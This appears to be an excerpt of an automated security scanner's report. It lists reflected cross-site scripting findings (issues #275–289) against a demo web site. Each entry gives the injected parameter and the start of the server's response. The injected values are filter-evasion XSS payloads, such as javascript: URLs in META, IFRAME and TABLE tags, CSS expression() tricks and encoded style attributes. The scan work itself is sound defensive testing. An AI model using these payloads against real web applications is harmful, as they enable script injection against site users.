language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #275
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;
URL=javascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #276
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #277
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <FRAMESET><FRAME SRC="javascript:alert('XSS');"></
FRAMESET>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #278
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters DemoUser1# <TABLE BACKGROUND="javascript:alert('XSS')"
>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #279
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <TABLE><TD BACKGROUND="javascript:alert('XSS')">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# echoed back in the response
CWE-ID CWE-79
Issue Number #280
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <DIV STYLE="background-image: url(javascript:alert('XSS'
))">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #281
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\
0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\
006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\
0029">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #282
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <DIV STYLE="background-image: url(&#1;javascript:alert('
XSS'))">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #283Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <DIV STYLE="width: expression(alert('XSS'));">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #284
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #285
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #286
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# <XSS STYLE="xss:expression(alert('XSS'))">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #287
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS
*//*/*/pression(alert("XSS"))'>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #288
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will not be  DemoUser1# 
echoed back in the response
CWE-ID CWE-79
Issue Number #289
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# <STYLE>.XSS{background-image:url("javascript:alert('XSS')")
;}</STYLE><A CLASS=XSS></A>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
